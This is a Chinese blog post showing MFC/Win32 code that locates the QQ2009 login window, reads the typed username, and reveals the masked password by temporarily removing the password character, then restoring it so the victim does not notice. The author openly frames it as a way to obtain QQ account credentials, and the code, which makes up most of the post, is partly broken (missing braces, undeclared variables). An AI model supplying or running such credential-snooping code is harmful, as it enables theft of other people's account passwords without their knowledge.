MFC實現 獲取其他應用程式視窗資訊

2021-06-16 09:41:01 字數 3252 閱讀 6871

最近上網時看到有獲取qq號的方法,自己實現了下,沒能獲取qq密碼(聽說從qq2009後就很難獲取了),但能獲取一般應用程式的視窗資訊。下面給出實現的具體細節。

要使用到幾個api函式findwindow,findwindowex,windowfrompoint,sendmessage,getwindowrect等。

findwindow:用於獲取應用程式的視窗控制代碼

hwnd findwindow(

lpctstr lpclassname,  // class name,視窗的類名稱

lpctstr lpwindowname  // window name,視窗標題名稱

findwindowex:用於獲取應用程式中指定子視窗的控制代碼

hwnd findwindowex(

hwnd hwndparent,      // handle to parent window,應用程式視窗控制代碼

hwnd hwndchildafter,  // handle to child window,子視窗的控制代碼

lpctstr lpszclass,    // class name,子視窗類

lpctstr lpszwindow    // window name,子視窗標題

同樣通過spy++可以獲取子視窗的相關資訊,但視窗控制代碼是會變化的,子視窗的標題也不是都有,比如該子視窗是一編輯框。這樣,我們還可以通過點試探的方法找到想要的字視窗,比如我們要得到qq登入框中輸入的使用者名稱+密碼。可以先得到登入框、密碼框的螢幕座標位置,然後在其中取乙個點,利用windowfrompoint函式得到該點所在的視窗控制代碼,該控制代碼就是我們感興趣的視窗控制代碼。

得到了視窗控制代碼後,如何得到視窗的內容,或是對他做點什麼呢,呵呵,這裡,就要用到訊息傳送的知識了。

lresult sendmessage(

hwnd hwnd,      // handle to destination window,接受訊息的視窗控制代碼

uint msg,       // message,訊息型別

wparam wparam,  // first message parameter,訊息包含的附加資訊

lparam lparam   // second message parameter,訊息包含的附加資訊

下面貼上我的程式**:

void cgetwindowtextview::onusername()

// todo: add your command handler code here

m_qqhwnd=::findwindow(null,"qq2009 正式版 sp1");

if(m_qqhwnd)

//獲取視窗控制代碼

crect rect;

::getwindowrect(m_qqhwnd,rect);

cstring str;

str.format("qq登入框在螢幕的(%d,%d,%d,%d)位置/r/n寬:%d;高:%d",rect.left,rect.top,rect.right,rect.bottom,rect.width(),rect.height());

cpoint user_pt;

//將user_pt點定位到使用者名稱框內

user_pt.x=rect.left+100;

user_pt.y=rect.top+120;

//獲取使用者名稱框的控制代碼

m_huserwnd=::windowfrompoint(user_pt);

str="使用者名稱:";

char buf[10];

//獲取使用者名稱

::sendmessage(m_huserwnd,wm_gettext,(wparam)999,(lparam)buf);

str=str+buf+"/r/n";

::afxmessagebox(str);

//     ::sendmessage(m_qqhwnd,wm_close,0,0);//傳送訊息,關閉qqhwnd視窗

else

messagebox("查詢視窗失敗!");

密碼獲取要複雜些,因為密碼框上都是***的東西,直接gettext是不行的,分析知道,我們在建立編輯框是複選「密碼」,顯示時輸入就是***了。這樣,我們可以先修改密碼框的樣式,將「密碼」複選去掉,再獲取框中的內容就可以了,當然,得到想要的密碼後,我們再將樣式改回來,就神不知鬼不覺啦!

void cgetwindowtextview::ongetpassword()

// todo: add your command handler code here

m_qqhwnd=::findwindow(null,"qq2009 正式版 sp1");

if(m_qqhwnd)

if(!m_qqhwnd)

return false;

crect rect;

::getwindowrect(m_qqhwnd,rect); m_pwdwnd=::findwindowex(m_qqhwnd,null,"edit",null);

cpoint pwd_pt;

//密碼框相對於登入框的位置可以試出來,取下面的點可以保證落在密碼框內

pwd_pt.x=rect.left+100;

pwd_pt.y=rect.top+150;

//m_pwdwnd=::windowfrompoint(pwd_pt);//或者通過點來得到

if(!m_pwdwnd)

messagebox("密碼框獲取失敗!");

return false;

str=」密碼:";

//得到視窗的樣式

long lstyle = ::getwindowlong(m_pwdwnd,gwl_style);

if(lstyle & es_password)

long passtochar = ::sendmessage(m_pwdwnd,em_getpasswordchar,0,0);

::postmessage(m_pwdwnd,em_setpasswordchar,0,0);

::sendmessage(m_pwdwnd,wm_gettext,50,(lparam)buf);

::postmessage(m_pwdwnd,em_setpasswordchar,passtochar,0);

str=str+buf+"/r/n";

::afxmessagebox(str);

//     ::sendmessage(m_qqhwnd,wm_close,0,0);

else

messagebox("查詢視窗失敗!");

android獲取其他應用資訊

adb shell dumpsys activity activities 先啟動需要的查詢的apk,再敲入以上命令,在stack 1下查詢cmp 其後的內容為包名 mainactivity 注 dumpsys activity可以檢視系統的所有的活動,包括服務 廣播等,加上activities則只...

獲取其他程式的資訊 VC實現

介紹 最近正試著從其他程式的listview控制項中獲取資訊,因為需要傳遞乙個指標以便存放取得的字串,但windows使用的是虛擬記憶體,指標是不允許跨程序訪問的。windows是這樣通過虛擬記憶體來管理分配給所有應用程式的記憶體的 它讓程式認為自己擁有2gb的記憶體空間可用,它也通過保護來避免程式...

Android獲取其他應用包名

本節內容是如何獲取android系統中應用程式的資訊,主要包括packagename label icon 占用大小等。具體分為兩個 部 分,計畫如下 第一部分 獲取應用程式的packagename label icon等 第二部分 獲取應用程式的占用大小,包括 快取大小 cachsize 資料大小...